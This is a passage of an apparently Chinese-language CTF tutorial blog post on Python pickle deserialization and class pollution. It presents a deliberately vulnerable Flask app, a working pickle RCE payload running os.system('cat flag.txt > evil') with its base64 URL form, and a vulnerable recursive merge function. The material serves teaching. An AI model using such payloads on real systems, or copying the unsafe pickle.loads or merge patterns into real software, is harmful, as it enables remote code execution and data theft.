style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> pickle</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> flask </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">__name__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">@</span><span style=\"color:#59873A;--shiki-dark:#80A665\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">route</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/calc</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> methods</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">GET</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> getFlag</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    payload </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">payload</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    pickle</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">loads</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">base64</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">b64decode</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">payload</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ganbadie!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">@</span><span style=\"color:#59873A;--shiki-dark:#80A665\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">route</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/readFile</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> methods</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">GET</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> readFile</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    filename </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">filename</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    with</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> open</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">filename</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">r</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> as</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> f</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> f</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">read</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __name__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__main__</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">run</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">host</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">0.0.0.0</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>根据之前所说，我们构造的pickle反序列化内容应该是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>b'''cos</span></span>\n<span class=\"line\"><span>system</span></span>\n<span class=\"line\"><span>(S'cat flag.txt > evil'</span></span>\n<span class=\"line\"><span>tR.'''</span></span></code></pre>\n<p>这里会对我们传进去的内容进行base64解码，那么我们的参数就应该先进行一次base64编码，最终paylaod为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/calc?payload=Y29zCnN5c3RlbQooUydjYXQgZmxhZy50eHQgPiBldmlsJwp0Ui4=</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/20/Pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8EPython%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/4.png\" class=\"\"></p>\n<p>同时我们需要注意的是，直接将我们的payload放在在线编码里面得到的payload是不行的，必须用：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> base64</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 注意：这里是直接赋值给变量，真正的内存里是没有 b 和 ''' 这几个字符的</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">opcode </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> b</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'''</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cos</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">system</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">(S'cat flag.txt > evil'</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">tR.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'''</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 对纯粹的二进制指令进行编码</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">base64</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">b64encode</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">opcode</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">decode</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>这段脚本进行编码</p>\n<h1 id=\"python原型链污染\"><a class=\"anchor\" href=\"#python原型链污染\">#</a> Python原型链污染</h1>\n<h1 id=\"漏洞代码\"><a class=\"anchor\" href=\"#漏洞代码\">#</a> 漏洞代码</h1>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> payload</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> payload</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">items</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isinstance</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> dict</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isinstance</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">value</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> dict</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> and</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> target</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">key</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                target</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">key</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        elif</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> hasattr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isinstance</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">value</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> dict</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                extracted_target </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> getattr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">extracted_target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                 </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">                setattr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>我们挨个分析这串代码的含义：</p>\n<h2 id=\"payloaditems\"><a class=\"anchor\" href=\"#payloaditems\">#</a> payload.items()</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">payload</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">key1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">value1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">key2</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">value2</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">payload</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">items</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>我们以这串代码为例看看输出结果：</p>\n<p><img loading=\"lazy\" src=\"/2026/03/20/Pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8EPython%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/7.png\" class=\"\"></p>\n<p><code>.items()</code>是python字典中的一个内置方法，作用是将字典里的&quot;键&quot;和&quot;值&quot;成对地拿出来，就可以用for循环挨个处理</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> payload</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">items</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isinstance</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> dict</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isinstance</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">value</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> dict</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> and</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> key </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> target</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">key</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                target</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">key</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> value</span></span></code></pre>\n<p>所以这串代码的意思就是遍历payload的键值对，如果merge的第一个参数target是字典，那么继续，如果payload中取得的value是字典并且取得的键key存在于target中，那么就将target替换为target['key']继续执行merge函数</p>\n<p>如果value不是字典并且取得的key存在于target中，那么就将target[key]的值替换为value</p>\n<p>比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target1</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">theme</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">light</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">payload1</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">theme</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">dark</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target1</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">payload1</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target1</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/20/Pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8EPython%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/8.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        elif</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> hasattr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span 